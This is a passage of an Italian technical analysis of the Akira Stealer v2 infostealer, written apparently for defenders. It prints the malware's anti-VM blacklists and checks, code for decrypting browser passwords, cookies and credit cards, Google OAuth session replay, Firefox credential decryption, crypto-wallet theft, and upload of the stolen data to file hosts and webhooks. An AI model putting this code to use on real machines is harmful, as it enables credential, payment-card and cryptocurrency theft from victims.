Akira usa un insieme sofisticato di tecniche anti analisi che colpiscono più livelli del sistema, dalle variabili d'ambiente e dalle chiavi di registro fino alle sonde di rete e agli elenchi di task. Questi meccanismi sono pensati per individuare ed eludere sia le sandbox automatiche sia i setup di ispezione manuale.

La combinazione di fingerprinting passivo e soppressione attiva (per esempio la terminazione dei task) mostra come persino le famiglie di malware di fascia media integrino oggi logiche di evasione su più livelli.

7.3.12 Blacklist complete e funzioni di rilevamento

UUID hardware in blacklist

BLACKLISTED_UUIDS = (
    '7AB5C494-39F5-4941-9163-47F54D6D5016',
    '032E02B4-0499-05C3-0806-3C0700080009',
    '03DE0294-0480-05DE-1A06-350700080009',
    '11111111-2222-3333-4444-555555555555',
    '6F3CA5EC-BEC9-4A4D-8274-11168F640058',
    'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',
    '4C4C4544-0050-3710-8058-CAC04F59344A',
    '00000000-0000-0000-0000-AC1F6BD04972',
    '00000000-0000-0000-0000-000000000000',
    '5BD24D56-789F-8468-7CDC-CAA7222CC121',
    '49434D53-0200-9065-2500-65902500E439',
    '49434D53-0200-9036-2500-36902500F022',
    '777D84B3-88D1-451C-93E4-D235177420A7',
    '49434D53-0200-9036-2500-369025000C65',
    'B1112042-52E8-E25B-3655-6A4F54155DBF',
    '00000000-0000-0000-0000-AC1F6BD048FE',
    'EB16924B-FB6D-4FA1-8666-17B91F62FB37',
    'A15A930C-8251-9645-AF63-E45AD728C20C',
    '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',
    'C7D23342-A5D4-68A1-59AC-CF40F735B363',
    '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',
    '44B94D56-65AB-DC02-86A0-98143A7423BF',
    '6608003F-ECE4-494E-B07E-1C4615D1D93C',
    'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',
    '49434D53-0200-9036-2500-369025003AF0',
    '8B4E8278-525C-7343-B825-280AEBCD3BCB',
    '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',
    '79AF5279-16CF-4094-9758-F88A616D81B4',
    'FE822042-A70C-D08B-F1D1-C207055A488F',
    '76122042-C286-FA81-F0A8-514CC507B250',
    '481E2042-A1AF-D390-CE06-A8F783B1E76A',
    'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',
    '9961A120-E691-4FFE-B67B-F0E4115D5919'
)

Nomi computer in blacklist

BLACKLISTED_COMPUTERNAMES = (
    '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',
    'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',
    'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',
    'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',
    'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',
    'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',
    'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',
    'desktop-vkeons4', 'NTT-EFF-2W11WSS'
)

Account utente in blacklist

BLACKLISTED_USERS = (
    'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',
    'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',
    'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',
    'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',
    'harry johnson', 'j.seance', 'a.monaldo', 'tvm'
)

Processi di strumenti di analisi in blacklist

BLACKLISTED_TASKS = (
    'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',
    'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',
    'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',
    'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',
    'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',
    'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',
    'discordtokenprotector', 'glasswire', 'requestly'
)

Metodi di rilevamento principali

@staticmethod
def checkUUID() -> bool:
    """WMIC hardware UUID against known VM IDs."""
    try:
        raw = subprocess.run(
            "wmic csproduct get uuid",
            shell=True, capture_output=True
        ).stdout.splitlines()[2].decode(errors='ignore').strip()
    except:
        raw = ""
    return raw in VmProtect.BLACKLISTED_UUIDS

@staticmethod
def checkComputerName() -> bool:
    """ENV %COMPUTERNAME% in VM name list."""
    return os.getenv("computername", "").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES

@staticmethod
def checkUsers() -> bool:
    """Current login username in VM users list."""
    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS

@staticmethod
def checkHosting() -> bool:
    """Query ip-api.com/hosting → 'true' indicates cloud VM."""
    http = PoolManager(cert_reqs="CERT_NONE")
    try:
        return http.request(
            'GET', 'http://ip-api.com/line/?fields=hosting'
        ).data.decode().strip() == 'true'
    except:
        return False

@staticmethod
def checkHTTPSimulation() -> bool:
    """
    Attempt TLS to random subdomain.
    Failure → possible HTTPS interception/sandbox.
    """
    http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
    try:
        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
        return True
    except:
        return False

@staticmethod
def checkRegistry() -> bool:
    """
    Look for VirtualBox/VMware in:
    - Registry driver entries
    - Video card name via WMIC
    - Presence of VM-specific folders
    """
    r1 = subprocess.run(
        "REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
        "\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2",
        shell=True, capture_output=True
    )
    r2 = subprocess.run(
        "REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
        "\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2",
        shell=True, capture_output=True
    )
    gpu = any(
        x.lower() in subprocess.run(
            "wmic path win32_VideoController get name",
            shell=True, capture_output=True
        ).stdout.decode().splitlines()[2].lower()
        for x in ("virtualbox", "vmware")
    )
    dirs = any(os.path.isdir(d) for d in ('D:\\Tools','D:\\OS2','D:\\NT3X'))
    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs

@staticmethod
def killTasks() -> None:
    """Continuously terminate known analysis processes."""
    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)

7.3.13 Logica di esecuzione e interruzione

  1. Inizializzazione: all'interno del costruttore Akira.__init__() il malware invoca immediatamente VmProtect.isVM(1) per eseguire controlli di virtualizzazione rapidi e a basso costo (per esempio hostname, utente, simulazione HTTPS).
  2. Ispezione approfondita: se il test iniziale passa, chiama VmProtect.isVM(2), che attiva controlli più completi, tra cui la validazione dell'UUID hardware, il rilevamento dell'hosting tramite ip-api.com e la scansione degli artefatti di registro.
  3. Percorso di interruzione: se qualunque controllo restituisce True, indicando un ambiente virtuale o di analisi, il codice esegue sys.exit() e termina l'esecuzione prima di qualsiasi routine di raccolta o esfiltrazione dei dati.

7.3.14 Conclusione

Il modulo VmProtect di Akira Stealer v2 mostra una difesa a strati contro l'analisi, che sfrutta sia le impronte del sistema locale sia euristiche basate sulla rete. Comprendendo e strumentando questi controlli precisi, i difensori possono ribaltare la situazione e rilevare malware evasivo di questo tipo negli ambienti operativi.

7.4 Esfiltrazione dei dati del browser

Uno degli obiettivi centrali di Akira Stealer v2 è l'estrazione su larga scala dei dati sensibili memorizzati nel browser. Il malware implementa moduli dedicati ai browser basati su Chromium e a quelli basati su Gecko (Firefox). Tra le sue capacità ci sono l'estrazione e la decifratura di password salvate, cookie, dati delle carte di credito, voci di compilazione automatica e persino token di sessione, riutilizzabili per un takeover completo dell'account.

1. Predisposizione dell'area di lavoro

client_dir = Utils.get_temp_folder()  # e.g., C:\Windows\Temp\DESKTOP-1234
os.makedirs(client_dir, exist_ok=True)
for sub in ("Passwords","Cookies","CreditCards","History","Autofill","Wallets"):
    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)
  • Crea un'area di staging usa e getta sotto la directory temp del sistema, chiamata come la macchina della vittima (%TEMP%\DESKTOP-), così tutti gli artefatti esfiltrati si concentrano in un'unica posizione facile da archiviare.
  • Isola i dati per tipo: sei sottocartelle dedicate (Passwords, Cookies, CreditCards, History, Autofill, Wallets) evitano collisioni di nomi e semplificano la successiva creazione dello ZIP, perché ogni routine di estrazione scrive solo nella propria cartella.
  • La creazione idempotente delle directory usa exist_ok=True, così se il malware viene eseguito di nuovo (per esempio al riavvio o per persistenza) non va in crash e non sovrascrive i dati esistenti: i nuovi elementi si aggiungono semplicemente alla stessa struttura.
  • Agevola una pulizia selettiva: completati upload e notifica, lo stealer può chiamare Utils.clear_client_folder() per cancellare in modo ricorsivo solo la propria area di lavoro, senza lasciare file residui.
  • Prepara il terreno per i thread di estrazione paralleli: creando in anticipo tutte le destinazioni, i thread in background che raccolgono credenziali del browser, cookie, dati di compilazione automatica, dati dei wallet di criptovalute e altro possono scrivere i risultati subito, senza controlli aggiuntivi, riducendo l'overhead e la finestra in cui gli hook difensivi possono accorgersi di operazioni di I/O impreviste.

2. Browser supportati

  • Basati su Chromium
    • Google Chrome (Stable e SxS)
    • Microsoft Edge
    • Brave Browser
    • Opera e Opera GX
    • Chromium
    • Comodo Dragon
    • Epic Privacy Browser
    • Iridium Browser
    • UR Browser
    • Vivaldi Browser
    • Yandex Browser
    • Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran
  • Basati su Firefox (tramite GeckoDriver)
    • Mozilla Firefox
    • Waterfox
    • Pale Moon

    Akira individua dinamicamente i profili utente usando variabili d'ambiente e strutture di directory ben conosciute:
    user_path = os.path.join(os.getenv("LOCALAPPDATA"), "Google", "Chrome", "User Data")
    

    Cerca in modo ricorsivo i profili browser disponibili (per esempio Default, Profile 1 e simili) e prende di mira i database SQLite presenti in quei percorsi.

7.4.1 Tipi di dati estratti

Tipo di dato File di origine Note
Password salvate Login Data (Chromium) Decifrate tramite DPAPI o AES-GCM (da Chromium v80 in poi)
Cookie Cookies Possono contenere token di sessione, in particolare per account Google e Facebook
Dati di compilazione automatica Web Data Indirizzi, email, numeri di telefono e simili
Carte di credito Web Data Cifrate, richiedono la master key
Token di sessione In memoria e cookie Comprende Gmail, account Google e il replay di OAUTH Discord
Cronologia e URL History, Visited Links Anch'essi esfiltrati verso l'attaccante

3. Moduli di estrazione Quando gli autori di malware prendono di mira i browser, i loro tesori principali sono i vari database SQLite in cui Chrome, Firefox e affini memorizzano credenziali, cookie, cronologia e voci di compilazione automatica. astor.py intreccia Python leggero e API native per prelevare metodicamente ogni frammento di dato, arrivando anche a replicare sessioni OAuth attive, senza lasciare tracce. Segue una panoramica approfondita modulo per modulo, presa letteralmente dal codice.

7.4.2 Dumper delle password (Chromium.GetPasswords)

Questo modulo passa sistematicamente in rassegna tutti i profili dei browser basati su Chromium per estrarre le credenziali di accesso salvate. Puntando al database SQLite Login Data, recupera nomi utente e password cifrate, poi usa la chiave di cifratura della piattaforma (ottenuta tramite DPAPI o AES-GCM) per decifrarle in chiaro. Queste credenziali sono di grande valore per il movimento laterale post compromissione o per il takeover degli account.

for root, _, files in os.walk(self.BrowserPath):
    for file in files:
        if file.lower() == "login data":
            # Copy DB → open → extract rows
            results = cursor.execute(
                "SELECT origin_url, username_value, password_value FROM logins"
            ).fetchall()
            for url, user, pwd_blob in results:
                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)
                passwords.append((url, user, clear_pwd))
  • Individua ogni database SQLite Login Data sotto la cartella User Data del browser.
  • Copia su un file temporaneo per evitare i lock del browser.
  • Query SQL: SELECT origin_url, username_value, password_value FROM logins.
  • Decifra ogni blob password_value tramite AES‑GCM (v10/v11) o con il fallback su Windows DPAPI.
  • Scrive l'output in Passwords/<BrowserName> Passwords.txt.

7.4.3 Dumper delle carte di credito (Chromium.GetCreditCards)

Qui lo stealer accede ai dati delle carte di credito memorizzati nel file Web Data di ogni profilo del browser. Si concentra sull'estrazione dei dati di scadenza e dei numeri di carta cifrati, che vengono poi decifrati con la stessa logica usata per le password. Anche se i codici CVV in genere non sono memorizzati, le informazioni recuperate possono comunque essere usate per frodi card-not-present.

results = cursor.execute(
    "SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards"
).fetchall()
for month, year, enc_cc in results:
    cc_number = self.Decrypt(enc_cc, encryptionKey)
    ccs.append((cc_number, month, year))
  • Prende di mira gli archivi SQLite Web Data sotto ogni profilo.
  • Query SQL: SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards.
  • Decifra card_number_encrypted esattamente come i blob delle password.
  • Scrive in CreditCards/<BrowserName> CreditCards.txt.

I cookie, e in particolare i cookie di sessione, sono obiettivi di primo piano per il takeover degli account senza password. Questo modulo estrae tutti i file di cookie da tutti i profili, li decifra e raccoglie i metadati essenziali come dominio, nome e scadenza. Uniti al fingerprinting, questi cookie permettono attacchi di replay diretti contro i servizi autenticati.

results = cursor.execute(
    "SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies"
).fetchall()
for host, name, path, blob, expiry in results:
    cookie_val = self.Decrypt(blob, encryptionKey)
    cookies.append((host, name, path, cookie_val, expiry))
  • Scansiona ogni database SQLite Cookies.
  • Seleziona host_key, name, path, encrypted_value, expires_utc.
  • Decifra ogni blob encrypted_value per rivelare la stringa reale del cookie.
  • Salva in Cookies/<BrowserName> Cookies.txt.

7.4.5 Dumper delle sessioni Google (Chromium.dump_google_sessions)

Questa routine è uno dei componenti più avanzati: decifra i token OAuth memorizzati nella tabella token_service. Riproducendoli tramite l'endpoint multilogin di Google, il malware può rigenerare cookie di sessione attivi, il che permette agli attaccanti di impossessarsi degli account Google senza credenziali. È un esempio di come i token di accesso siano diventati obiettivi primari negli stealer moderni.

cursor.execute("SELECT service, encrypted_token FROM token_service")
for service, blob in cursor.fetchall():
    iv = blob[3:15]
    ciphertext = blob[15:-16]
    cipher = AES.new(secret_key, AES.MODE_GCM, iv)
    token = cipher.decrypt(ciphertext).decode()
    # Replays via POST to OAuth endpoint
    response = requests.post(
        "https://accounts.google.com/oauth/multilogin",
        headers={"Authorization": f"MultiBearer {token}:{service_id}"},
        data={"source": "com.google.Drive"}
    )
    save each account’s cookies to file
  • Preleva service e il valore grezzo encrypted_token dalla copia di Web Data.
  • Decifratura AES‑GCM usando la chiave Local State del browser.
  • Riproduce i token decifrati in una POST verso l'API multilogin di Google per ricostruire cookie OAuth validi.
  • Scrive file di sessione per account in Cookies/<display_email> Google Session.txt.

7.4.6 Dumper della cronologia (Chromium.GetHistory)

Questa funzione estrae le voci della cronologia di navigazione, compresi URL, titolo e frequenza delle visite. Oltre all'invasione della privacy, questi dati aiutano gli attaccanti a capire il comportamento della vittima, a individuare obiettivi di alto valore (per esempio i portali bancari) o a confezionare payload di social engineering su misura.

results = cursor.execute(
    "SELECT url, title, visit_count, last_visit_time FROM urls"
).fetchall()
history.sort(key=lambda x: x[3], reverse=True)
return [(url, title, count) for url, title, count, _ in history]
  • Seleziona url, title, visit_count, last_visit_time da ogni database History.
  • Ordina le voci per last_visit_time in ordine decrescente.
  • Scrive in History/<BrowserName> History.txt.

7.4.7 Dumper della compilazione automatica (Chromium.GetAutofills)

Le voci di compilazione automatica, come indirizzi, nomi, email e a volte dati legati ai pagamenti, vengono raccolte dall'archivio Web Data del browser. Questi valori possono sembrare poco critici, ma aggregati offrono un profilo ricco dell'identità e del comportamento della vittima.

results = cursor.execute(
    "SELECT name, value FROM autofill"
).fetchall()
for field, value in results:
    autofills.append((field.strip(), value.strip()))
  • Preleva le voci di compilazione dei moduli: name, value dal file web data.
  • Scrive in Autofill/<BrowserName> Autofill.txt.

7.4.8 Grabber dei profili Firefox (GeckoDriver e grabFirefoxProfiles)

A differenza delle routine granulari per Chromium, questa funzione sceglie un approccio ad ampio raggio: comprime l'intera directory del profilo Firefox, con login salvati, cookie e segnalibri, e la esfiltra in blocco. Così gli attaccanti possono analizzare o estrarre i dati offline, aggirando gli ostacoli della decifratura con il noto strumentario NSS.

with zipfile.ZipFile(zip_path, 'w') as zipf:
    for root, dirs, files in os.walk(source_path):
        zipf.write(each file)
# Upload via GoFile/File.io, then POST via attacker webhooks
  • Comprime in ZIP l'intera directory %APPDATA%\Mozilla\Firefox\Profiles.
  • La chiama %TEMP%\<ComputerName>_Firefox_profiles.zip e invia il link di download sugli stessi canali webhook.
  • Invoca inoltre le stesse funzioni di estrazione basate su SQLite (logins.json, cookies.sqlite, places.sqlite) su ogni profilo Firefox, usando le routine di decifratura NSS già presenti.

7.4.9 Sintesi dell'estrazione

Astor.py orchestra una compromissione completa del browser, raccogliendo sistematicamente ogni credenziale e ogni artefatto di sessione nei client basati su Chromium e in Firefox. Individua e copia in sicurezza ciascun archivio SQLite, Login Data, Web Data, Cookies, History e autofill, poi esegue query SQL mirate per estrarre URL, nomi utente, password, dati delle carte di credito, cookie, cronologia di navigazione e voci di compilazione dei moduli. Password e dati di pagamento vengono decifrati tramite AES-GCM (o con il fallback su Windows DPAPI), mentre i cookie vengono sbloccati nello stesso modo per rivelare i valori in chiaro. Per gli account Google, i token OAuth cifrati presi da token_service vengono decifrati e riprodotti verso l'API multilogin per rigenerare cookie di sessione attivi. Infine i profili Firefox vengono archiviati in blocco (compresi logins.json, cookies.sqlite e places.sqlite) e consegnati come ZIP, senza lasciare indietro alcun artefatto. Questa pipeline end to end gira in silenzio sotto %TEMP%\<ComputerName> e produce file di output ordinati per ogni categoria di dati.

7.5 Logica di decifratura

I browser moderni come Chrome ed Edge cifrano i dati sensibili, come password, cookie e dati delle carte di credito, prima di memorizzarli in locale. Akira include routine di decifratura integrate, pensate per gestire sia i metodi di cifratura Chromium legacy sia quelli attuali. Così riesce a estrarre dati in chiaro indipendentemente dal livello di patch del sistema o dalla versione del browser.

Al centro di questo processo c'è l'estrazione e la decifratura della master key di cifratura del browser, memorizzata in un file chiamato Local State. A seconda della versione del browser e della build di Windows, Akira seleziona dinamicamente il metodo di decifratura appropriato:

DPAPI (Data Protection API) viene usata sui sistemi più vecchi, dove Chrome conserva i segreti protetti dalle credenziali Windows dell'utente corrente.

AES-GCM viene usato sulle build Chromium moderne, dove una master key generata casualmente è a sua volta cifrata con DPAPI e poi usata per la cifratura dei dati utente all'interno dell'app.

Decifrando per prima la master key di Local State, Akira ottiene la capacità di sbloccare tutti i segreti del browser, aprendo la strada all'estrazione di credenziali, token, cookie e altro.

Estrazione della chiave

local_state_path = os.path.join(user_path, "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
    local_state = json.load(f)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])

Decifratura (AES-GCM):

nonce = value[3:15]
ciphertext = value[15:-16]
tag = value[-16:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)

Se serve il fallback su DPAPI (sui sistemi più vecchi), usa win32crypt.CryptUnprotectData().

Spiegazione di decrypt_password_blob: Questa funzione mostra come Akira Stealer decifra ogni valore di password salvata nei browser basati su Chromium. Gestisce due casi:

  1. Blob DPAPI di Windows (dati più vecchi o non cifrati con GCM): ricade sulla chiamata di sistema CryptUnprotectData, che usa le credenziali Windows dell'utente per decifrare.
  2. Blob cifrati con AES-GCM (formato Chrome v10/v11): interpreta l'header di versione, estrae IV e tag di autenticazione e usa la libreria cryptography per decifrare il payload in modo sicuro.
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend


def decrypt_password_blob(buffer: bytes, key: bytes) -> str:
    """
    Decrypts a Chrome password blob using either DPAPI or AES-GCM.

    Parameters:
    - buffer: raw encrypted blob from the `password_value` field
    - key: the master AES key retrieved via DPAPI from Local State

    Returns:
    - Decrypted UTF-8 plaintext password
    """
    # 1) DPAPI fallback for non-AES-GCM blobs
    if not buffer.startswith((b'v10', b'v11')):
        # Uses Windows CryptUnprotectData under the hood
        return CryptUnprotectData(buffer)

    # 2) AES-GCM decryption for Chrome v10/v11 format:
    # Bytes layout:
    # [0:3]    = version header ('v10'/'v11')
    # [3:15]   = initialization vector (IV)
    # [15:-16] = ciphertext payload
    # [-16:]   = GCM authentication tag
    iv = buffer[3:15]
    ciphertext = buffer[15:-16]
    tag = buffer[-16:]

    # Initialize AES-GCM cipher with extracted IV and tag
    cipher = Cipher(
        algorithms.AES(key),
        modes.GCM(iv, tag),
        backend=default_backend()
    )
    decryptor = cipher.decryptor()

    # Perform decryption; raises if authentication fails
    plaintext = decryptor.update(ciphertext) + decryptor.finalize()

    # Decode to UTF-8, ignoring any stray errors
    return plaintext.decode('utf-8', errors='ignore')

7.6 Hijacking dei token di sessione

Akira non si ferma alla raccolta passiva dei dati, dirotta attivamente i token di sessione attivi per impersonare le vittime in tempo reale. Dopo aver estratto i token cifrati dall'archivio del browser, ricostruisce l'header di autorizzazione necessario e riproduce una richiesta MultiLogin verso l'endpoint OAuth di Google. Lo snippet di codice seguente illustra il processo:

# Build SAPISIDHASH header for Google services
origin = "https://accounts.google.com"
timestamp = int(time.time())
# Compute SHA1 of "timestamp origin SAPISID"
payload = f"{timestamp} {origin} {sap_id_cookie}".encode()
signature = hashlib.sha1(payload).hexdigest()
headers = {
    "Authorization": f"SAPISIDHASH {timestamp}_{signature}",
    "Content-Type": "application/json"
}
# Replay MultiLogin to fetch valid session cookies
response = requests.post(
    "https://accounts.google.com/accounts/multilogin",
    headers=headers,
    json={"continue": "https://mail.google.com"}
)
if response.status_code == 200:
    # Victim’s cookies now present in response.cookies
    hijacked_cookies = response.cookies

Riproducendo questa richiesta, Akira può impersonare l'utente su Gmail, Drive o qualsiasi altro servizio Google protetto da una sessione valida, senza bisogno di credenziali. La tecnica sfrutta la logica di accettazione dei token di Google stessa, e questo la rende quasi indistinguibile dal comportamento di un client legittimo.

7.7 Decifratura in Firefox

I browser basati su Gecko come Firefox cifrano credenziali e cookie salvati usando una master key memorizzata in key4.db. Akira include una routine di decifratura ridotta all'essenziale che replica la logica NSS di Mozilla e gestisce sia la variante 3DES sia quella AES‑CBC senza far comparire la richiesta della master password. Esempio d'uso:

# Load global Salt and encrypted item from key4.db
db = sqlite3.connect(profile_path + "/key4.db")
cursor = db.cursor()
cursor.execute("SELECT item1, item2 FROM metadata WHERE id = 'password'")
global_salt, item2 = cursor.fetchone()

# Decode DER structure and derive key
decoded, _ = der_decode(item2)
entry_salt = decoded[0][1][0].asOctets()
cipher_text = decoded[1].asOctets()
# Derive 3DES key
key = derive_3des_key(global_salt, master_password, entry_salt)
iv = decoded[0][1][1].asOctets()
# Decrypt credentials
cipher = DES3.new(key, DES3.MODE_CBC, iv)
clear_password = unpad(cipher.decrypt(cipher_text))

print("Decrypted Firefox password:", clear_password)

Con questa routine Akira può estrarre in modo trasparente logins.json, cookies.sqlite e places.sqlite per ogni profilo Firefox, scrivendo l'output decifrato in:

Passwords/Firefox_<ProfileName> Passwords.txt
Cookies/Firefox_<ProfileName> Cookies.txt
History/Firefox_<ProfileName> History.txt

Questo approccio scavalca i controlli della master password a livello utente e dà allo stealer accesso illimitato a tutte le credenziali memorizzate.*

4. Struttura dei file e denominazione

<ComputerName>.zip
└── <ComputerName>\
    ├── Passwords\
    │   ├── Chrome Passwords.txt
    │   ├── Edge Passwords.txt
    │   └── …
    ├── Cookies\
    │   ├── Chrome Cookies.txt
    │   ├── Edge Cookies.txt
    │   ├── user@example.com Google Session.txt
    │   └── …
    ├── CreditCards\
    │   ├── Chrome CreditCards.txt
    │   └── …
    ├── History\
    │   ├── Chrome History.txt
    │   └── …
    ├── Autofill\
    │   ├── Chrome Autofill.txt
    │   └── …
    └── Wallets\
        ├── Firefox_Default_profiles.zip
        ├── Firefox_Profile1_profiles.zip
        └── …
  • Ogni .txt inizia con un header uniforme (<================[Akira Stealer v2]>================>) e una riga di separazione (====…====).
  • ZIP su disco: %TEMP%\<ComputerName>.zip.
  • Etichetta del nome file per il C&C: Akira-<username>.zip.

5. Esfiltrazione e pulizia

url = Webhook.uploadToGofile(zip_path)
if not url:
    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
Webhook.sendDataTG(zip_path, chatId, startup)
Utils.clear_client_folder()
  • Canale primario (GoFile.io): il malware tenta prima di caricare l'archivio ZIP con tutti gli artefatti rubati su GoFile.io, leggendo dalla risposta JSON un URL downloadPage che dà all'attaccante accesso diretto all'archivio.
  • Fallback automatici: se l'endpoint GoFile non risponde (timeout di rete, rate limit e simili), il codice passa senza interruzioni a file.io e, se anche questo restituisce un link vuoto, infine a oshi.at. Entrambe le alternative vengono invocate senza sollevare eccezioni, il che garantisce che uno dei tre servizi venga sempre provato in sequenza.
  • Segnalazione via webhook: una volta determinato un URL (o una stringa vuota in caso di fallimento persistente), viene chiamata Webhook.sendDataTG(...), che impacchetta in un unico messaggio Discord o Telegram il link di download, gli identificativi della macchina (flag chatId, startup) e tutti i conteggi per categoria (password, cookie, compilazioni automatiche, wallet).
  • Pulizia immediata: dopo la segnalazione, Utils.clear_client_folder() cancella in modo ricorsivo l'intera area di lavoro temporanea e il file ZIP stesso, senza lasciare su disco tracce dei dati raccolti o dell'archivio.

Resilienza ai fallimenti:

  • Tutte le routine di upload restituiscono "" in caso di errore invece di sollevare eccezioni, il che garantisce la continuità del flusso di codice.
  • Anche se tutti i servizi sono irraggiungibili, il malware trasmette comunque un report via webhook (pur senza link) prima di cancellare gli artefatti locali, riducendo al minimo i residui forensi a meno che il processo non vada in crash in modo imprevisto.

6. Robustezza e gestione degli errori

  • Gestione granulare delle eccezioni: ogni interazione con il file system, sia shutil.copy, sia una query SQLite, sia un'operazione su ZIP, è racchiusa in blocchi try/except. Quando si verifica un errore (database bloccato, permesso negato, record malformato), l'eccezione viene catturata e registrata tramite Akira.logErrorTg() e l'esecuzione prosegue, isolando il guasto a quel singolo file o modulo.
  • Isolamento su thread per ciascun browser: le routine di estrazione per ogni browser supportato girano in un thread proprio. Questo design multithread fa sì che un crash o un deadlock nell'estrazione di un browser (per esempio profilo corrotto, chiave mancante) non fermi né rallenti l'analisi degli altri browser.
  • Fallback e valori predefiniti silenziosi: molte routine ausiliarie, come l'upload verso servizi di hosting alternativi, la verifica di risorse remote o l'avvio di sottoprocessi, usano blocchi try/except annidati senza alcun avviso visibile, così da massimizzare la furtività. I valori predefiniti (stringhe vuote, booleani) sono scelti per mantenere il flusso ininterrotto ed eliminare condizioni di errore evidenti.
  • Mutex e guardie all'avvio: un mutex denominato (1qsMlseJplTlArIF14f) impedisce istanze multiple, mentre i controlli sul registro e Utils.CreateMutex() proteggono dalle esecuzioni concorrenti, offrendo maggiore stabilità durante l'impiego reale.

7.8 Esfiltrazione di wallet e token

In questa fase Akira Stealer v2 esegue la ricerca più completa di credenziali di criptovalute e token di sessione, che abbraccia estensioni del browser, wallet desktop, token di messaggistica e keylogging dal vivo. Lavora su thread paralleli, così nessun vettore viene tralasciato. Segue un'analisi passo per passo, supportata dal codice.

7.8.1 Wallet come estensioni del browser

Obiettivi: oltre 80 estensioni sui browser più diffusi, tra cui MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman e altre.

# Hardcoded list of extension IDs and human-friendly names
walletsExtensions = [
    ["MetaMask",        "nkbihfbeogaeaoehlefnkodbefgpgknn"],
    ["Phantom",         "bfnaelmomeimhlpmgjnjophhpkkoljpa"],
    ["TrustWallet",     "egjidjbpglichdcondbcbdnbeeppgdph"],
    ["CoinbaseWallet",  "hfhmhopkfngkjcalldmaepmpilmjjemb"],
    ["Solflare",        "bhhhlbepdkbapadjdnnojkbgioiodbic"],
    ["BinanceChain",    "fhbohimaelbohpjbbldcngcnapndodjp"],
    ["Keplr",           "dmkamcknogkgcdfhhbddcghachkejeap"],
    ["Nami",            "lpfcbjknijpeeillifnkikgncikgfhdo"],
    ["Talisman",        "fijngjgcjhjmmpcmkeiomlglpeiijkld"],
    ["TronLink",        "ibnejdfjmmkpcnlpebklmnkoeoihofec"],
    # ... plus dozens more mapped in code
]
# Extraction loop for each browser profile
for browser_name, (user_data, proc_name) in paths.items():
    base = os.path.join(user_data, "Default", "Local Extension Settings")
    for ext_name, ext_id in walletsExtensions:
        src = os.path.join(base, ext_id)
        if os.path.isdir(src):
            dest = os.path.join(Utils.get_temp_folder(), "Wallets", f"{ext_name}_{browser_name}")
            shutil.copytree(src, dest, dirs_exist_ok=True)
            data.ext_wallets_count += 1
  • File copiati: IndexedDB, LevelDB, file JSON e di configurazione specifici dell'estensione, contenenti chiavi cifrate, seed phrase e credenziali di accesso.
  • Cartella di destinazione: Wallets/MetaMask_Chrome/, Wallets/Phantom_Edge/ e simili.

7.8.2 Applicazioni di wallet desktop

Obiettivi: i principali client desktop come Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi e altri.

walletsDesktop = [
    ["Electrum",     os.path.join(os.getenv('APPDATA'), "Electrum", "wallets")],
    ["Exodus",       os.path.join(os.getenv('APPDATA'), "Exodus", "exodus.wallet")],
    ["AtomicWallet", os.path.join(os.getenv('LOCALAPPDATA'), "atomic", "Local Storage", "leveldb")],
    ["Guarda",       os.path.join(os.getenv('APPDATA'), "Guarda", "Local Storage", "leveldb")],
    ["Rabby",        os.path.join(os.getenv('APPDATA'), "rabby-desktop")],
    ["Coinomi",      os.path.join(os.getenv('APPDATA'), "Coinomi", "wallets")],
]
for name, path in walletsDesktop:
